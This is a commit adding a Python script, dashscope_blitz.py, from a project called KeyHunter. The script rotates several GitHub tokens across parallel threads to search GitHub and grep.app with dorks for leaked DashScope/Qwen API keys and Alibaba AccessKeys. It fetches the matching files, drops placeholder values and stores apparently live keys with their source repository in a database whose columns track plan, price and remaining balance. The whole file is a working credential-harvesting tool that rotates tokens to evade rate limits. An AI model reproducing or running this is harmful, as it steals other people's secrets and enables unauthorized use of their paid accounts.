KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
329
dashscope_blitz.py
Normal file
329
dashscope_blitz.py
Normal file
@@ -0,0 +1,329 @@
|
||||
"""dashscope_blitz.py — MAX AGGRESSION dashscope key hunt.
|
||||
Uses ALL GitHub tokens in parallel, 3 threads per token, 30s rest.
|
||||
Targets: GH code search, grep.app, raw fetch + scan.
|
||||
"""
|
||||
import os, sys, json, time, hashlib, sqlite3, threading, random
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
import requests
|
||||
|
||||
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
sys.path.insert(0, KF_BASE)
|
||||
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
||||
|
||||
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
|
||||
LOG = os.path.join(KF_BASE, "dashscope_blitz.log")
|
||||
TOKENS_FILE = os.path.join(KF_BASE, "gh_tokens.txt")
|
||||
API = "https://api.github.com/search/code"
|
||||
GREPAPP = "https://grep.app/api/search"
|
||||
REST = 30
|
||||
N_THREADS = 3 # per token
|
||||
FETCH_TIMEOUT = 10
|
||||
|
||||
from key_patterns import PATTERNS
|
||||
|
||||
# ── dashscope-only dorks ──────────────────────────────────────────────
|
||||
DORKS_DS = [
|
||||
# Direct key leaks
|
||||
"DASHSCOPE_API_KEY filename:.env",
|
||||
"DASHSCOPE_API_KEY filename:json",
|
||||
"DASHSCOPE_API_KEY filename:yaml",
|
||||
"DASHSCOPE_API_KEY filename:py",
|
||||
"DASHSCOPE_API_KEY filename:js",
|
||||
"DASHSCOPE_API_KEY filename:toml",
|
||||
"DASHSCOPE_API_KEY filename:md",
|
||||
"DASHSCOPE_API_KEY filename:txt",
|
||||
"DASHSCOPE_API_KEY filename:config",
|
||||
"DASHSCOPE_API_KEY filename:ini",
|
||||
"DASHSCOPE_API_KEY filename:cfg",
|
||||
"DASHSCOPE_API_KEY filename:sh",
|
||||
# sk- patterns in dashscope context
|
||||
"dashscope sk- filename:.env",
|
||||
"dashscope sk- filename:py",
|
||||
"dashscope sk- filename:json",
|
||||
"dashscope sk- filename:yaml",
|
||||
# Endpoint leaks (often paired with key)
|
||||
"dashscope.aliyuncs.com filename:.env",
|
||||
"dashscope.aliyuncs.com filename:py",
|
||||
"dashscope.aliyuncs.com filename:json",
|
||||
"dashscope.aliyuncs.com filename:yaml",
|
||||
"dashscope.aliyuncs.com filename:config",
|
||||
# Model + key combos
|
||||
"qwen-max DASHSCOPE_API_KEY",
|
||||
"qwen-turbo DASHSCOPE_API_KEY",
|
||||
"qwen-plus DASHSCOPE_API_KEY",
|
||||
"qwen-max sk-",
|
||||
"qwen-turbo sk-",
|
||||
# Alibaba Cloud AccessKey (often works for dashscope too)
|
||||
"LTAI dashscope",
|
||||
"LTAI qwen",
|
||||
# Broad catch
|
||||
'filename:.env "dashscope"',
|
||||
'filename:config "dashscope" api_key',
|
||||
'filename:py "dashscope" "sk-"',
|
||||
'filename:json "dashscope" "sk-"',
|
||||
]
|
||||
|
||||
GREPAPP_QUERIES = [
|
||||
"DASHSCOPE_API_KEY",
|
||||
"dashscope.aliyuncs.com sk-",
|
||||
"qwen-max DASHSCOPE_API_KEY",
|
||||
"dashscope api_key sk-",
|
||||
"qwen-turbo sk-",
|
||||
]
|
||||
|
||||
GARBAGE = ("xxxx", "your", "YOUR", "EXAMPLE", "example", "n0tr3al", "FAKE",
|
||||
"AQUI", "REPLACE", "CHANGE", "YOUR_KEY", "MY_KEY", "PLACEHOLDER",
|
||||
"placeholder", "SKIP_ME", "00000000", "12345678", "xxxxxxxx",
|
||||
"DEADBEEF", "deadbeef", "SANDBOX", "sandbox", "PUT_YOUR",
|
||||
"REEMPLAZA", "not_a_real", "PASTE", "HERE", "*", "•")
|
||||
|
||||
session = requests.Session()
|
||||
session.trust_env = False
|
||||
session.headers["Accept"] = "application/vnd.github.v3+json"
|
||||
_stats_lock = threading.Lock()
|
||||
stats = {"gh_hits": 0, "gh_scanned": 0, "grepapp_hits": 0, "keys_found": 0}
|
||||
seen_gh = set()
|
||||
seen_grepapp = set()
|
||||
keys_batch = []
|
||||
keys_lock = threading.Lock()
|
||||
|
||||
|
||||
def log(msg):
|
||||
line = f"[{time.strftime('%H:%M:%S')}] {msg}"
|
||||
print(line, flush=True)
|
||||
try:
|
||||
with open(LOG, "a", encoding="utf-8") as f:
|
||||
f.write(line + "\n")
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def load_tokens():
|
||||
if not os.path.exists(TOKENS_FILE):
|
||||
log(f"ERROR: no tokens file: {TOKENS_FILE}")
|
||||
return []
|
||||
with open(TOKENS_FILE) as f:
|
||||
toks = [l.strip() for l in f if l.strip() and not l.startswith("#")]
|
||||
log(f"Loaded {len(toks)} GH tokens")
|
||||
return toks
|
||||
|
||||
|
||||
# ── GH code search ───────────────────────────────────────────────────
|
||||
def gh_search(token, query, page=1):
|
||||
h = {"Authorization": f"token {token}"}
|
||||
params = {"q": query, "per_page": 100, "page": page}
|
||||
try:
|
||||
r = session.get(API, headers=h, params=params, timeout=15)
|
||||
if r.status_code == 403:
|
||||
return None, "rate_limit"
|
||||
if r.status_code == 422:
|
||||
return [], "invalid_query"
|
||||
if r.status_code != 200:
|
||||
return None, f"http_{r.status_code}"
|
||||
data = r.json()
|
||||
items = data.get("items", [])
|
||||
return items, None
|
||||
except Exception as e:
|
||||
return None, str(e)[:60]
|
||||
|
||||
|
||||
def gh_fetch_file(repo_full, path, ref="main"):
|
||||
"""Fetch raw file from GitHub, scan for keys."""
|
||||
url = f"https://raw.githubusercontent.com/{repo_full}/{ref}/{path}"
|
||||
try:
|
||||
r = session.get(url, timeout=FETCH_TIMEOUT, allow_redirects=True)
|
||||
if r.status_code != 200:
|
||||
return []
|
||||
text = r.text[:200000] # cap at 200k
|
||||
except:
|
||||
return []
|
||||
|
||||
found = []
|
||||
for prov, pat in PATTERNS:
|
||||
for m in pat.finditer(text):
|
||||
val = m.group(0)
|
||||
if len(val) < 6:
|
||||
continue
|
||||
if any(g in val for g in GARBAGE):
|
||||
continue
|
||||
found.append((prov, val.strip()))
|
||||
return found
|
||||
|
||||
|
||||
def flush_keys(db):
|
||||
global keys_batch
|
||||
with keys_lock:
|
||||
if not keys_batch:
|
||||
return 0
|
||||
batch = keys_batch[:]
|
||||
keys_batch = []
|
||||
cur = db.cursor()
|
||||
n = 0
|
||||
for prov, val, repo in batch:
|
||||
h = hashlib.sha256(val.encode()).hexdigest()
|
||||
try:
|
||||
cur.execute(
|
||||
"INSERT INTO keys (hash, val, prov, status, found, repo) "
|
||||
"VALUES (?,?,?,?,?,?) "
|
||||
"ON CONFLICT(hash) DO UPDATE SET status='NEW', "
|
||||
"found=excluded.found, repo=excluded.repo "
|
||||
"WHERE keys.status IN ('DEAD','ERR')",
|
||||
(h, val, prov, "NEW", time.strftime("%Y-%m-%d %H:%M"), repo))
|
||||
n += 1
|
||||
except:
|
||||
pass
|
||||
db.commit()
|
||||
return n
|
||||
|
||||
|
||||
def gh_worker(token, token_idx, db):
|
||||
"""One GH token cycles dorks, fetches files, scans keys."""
|
||||
dork_idx = 0
|
||||
while True:
|
||||
dork = DORKS_DS[dork_idx % len(DORKS_DS)]
|
||||
dork_idx += 1
|
||||
|
||||
items, err = gh_search(token, dork)
|
||||
if err == "rate_limit":
|
||||
log(f"GH[{token_idx}] rate limited, sleep 60s")
|
||||
time.sleep(60)
|
||||
continue
|
||||
if err or not items:
|
||||
time.sleep(REST)
|
||||
continue
|
||||
|
||||
with _stats_lock:
|
||||
stats["gh_hits"] += len(items)
|
||||
|
||||
urls_to_fetch = []
|
||||
for item in items:
|
||||
repo_full = item["repository"]["full_name"]
|
||||
path = item["path"]
|
||||
key = (repo_full, path)
|
||||
with _stats_lock:
|
||||
if key in seen_gh:
|
||||
continue
|
||||
seen_gh.add(key)
|
||||
urls_to_fetch.append((repo_full, path))
|
||||
|
||||
# Fetch in parallel
|
||||
with ThreadPoolExecutor(max_workers=N_THREADS) as ex:
|
||||
futures = {ex.submit(gh_fetch_file, r, p): (r, p) for r, p in urls_to_fetch}
|
||||
for f in as_completed(futures):
|
||||
repo, path = futures[f]
|
||||
try:
|
||||
results = f.result()
|
||||
except:
|
||||
continue
|
||||
with _stats_lock:
|
||||
stats["gh_scanned"] += 1
|
||||
with keys_lock:
|
||||
for prov, val in results:
|
||||
if prov in ("DASHSCOPE",):
|
||||
keys_batch.append((prov, val, repo))
|
||||
stats["keys_found"] += 1
|
||||
|
||||
n = flush_keys(db)
|
||||
if n:
|
||||
log(f"GH[{token_idx}] +{n} dashscope keys (total:{stats['keys_found']} scanned:{stats['gh_scanned']})")
|
||||
|
||||
time.sleep(REST)
|
||||
|
||||
|
||||
# ── grep.app search ──────────────────────────────────────────────────
|
||||
def grepapp_worker(db):
|
||||
q_idx = 0
|
||||
while True:
|
||||
q = GREPAPP_QUERIES[q_idx % len(GREPAPP_QUERIES)]
|
||||
q_idx += 1
|
||||
|
||||
try:
|
||||
r = session.get(GREPAPP, params={"q": q}, timeout=15)
|
||||
if r.status_code != 200:
|
||||
time.sleep(REST)
|
||||
continue
|
||||
data = r.json()
|
||||
hits = data.get("data", data) if isinstance(data, dict) else data
|
||||
if not isinstance(hits, list):
|
||||
time.sleep(REST)
|
||||
continue
|
||||
except:
|
||||
time.sleep(REST)
|
||||
continue
|
||||
|
||||
for hit in hits:
|
||||
rid = hit.get("id", "")
|
||||
with _stats_lock:
|
||||
if rid in seen_grepapp:
|
||||
continue
|
||||
seen_grepapp.add(rid)
|
||||
stats["grepapp_hits"] += 1
|
||||
|
||||
repo = hit.get("repo", hit.get("repository", ""))
|
||||
branch = hit.get("branch", "main")
|
||||
path = hit.get("path", "")
|
||||
if not repo or not path:
|
||||
continue
|
||||
|
||||
results = gh_fetch_file(repo, path, branch)
|
||||
with keys_lock:
|
||||
for prov, val in results:
|
||||
if prov in ("DASHSCOPE",):
|
||||
keys_batch.append((prov, val, repo))
|
||||
stats["keys_found"] += 1
|
||||
|
||||
n = flush_keys(db)
|
||||
if n:
|
||||
log(f"GRP +{n} dashscope keys (total:{stats['keys_found']})")
|
||||
|
||||
time.sleep(REST)
|
||||
|
||||
|
||||
# ── main ─────────────────────────────────────────────────────────────
|
||||
def main():
|
||||
log("=== DASHSCOPE BLITZ START ===")
|
||||
tokens = load_tokens()
|
||||
if not tokens:
|
||||
log("FATAL: no tokens")
|
||||
return
|
||||
|
||||
db = sqlite3.connect(DB, timeout=120, check_same_thread=False)
|
||||
db.execute("""CREATE TABLE IF NOT EXISTS keys (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
hash TEXT UNIQUE, val TEXT, prov TEXT, status TEXT DEFAULT 'NEW',
|
||||
plan TEXT, price TEXT, remaining TEXT, found TEXT, repo TEXT)""")
|
||||
db.commit()
|
||||
|
||||
threads = []
|
||||
|
||||
# GH workers (one per token)
|
||||
for i, tok in enumerate(tokens):
|
||||
t = threading.Thread(target=gh_worker, args=(tok, i, db), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
# grep.app worker
|
||||
t = threading.Thread(target=grepapp_worker, args=(db,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
log(f"Launched {len(tokens)} GH + 1 grepapp workers")
|
||||
|
||||
# Status reporter
|
||||
while True:
|
||||
time.sleep(60)
|
||||
with _stats_lock:
|
||||
s = dict(stats)
|
||||
log(f"STATUS gh_hits:{s['gh_hits']} gh_scan:{s['gh_scanned']} grepapp:{s['grepapp_hits']} keys:{s['keys_found']}")
|
||||
n = flush_keys(db)
|
||||
if n:
|
||||
log(f" flush +{n}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
log("=== BLITZ STOPPED ===")
|
||||
sys.exit(0)
|
||||
Reference in New Issue
Block a user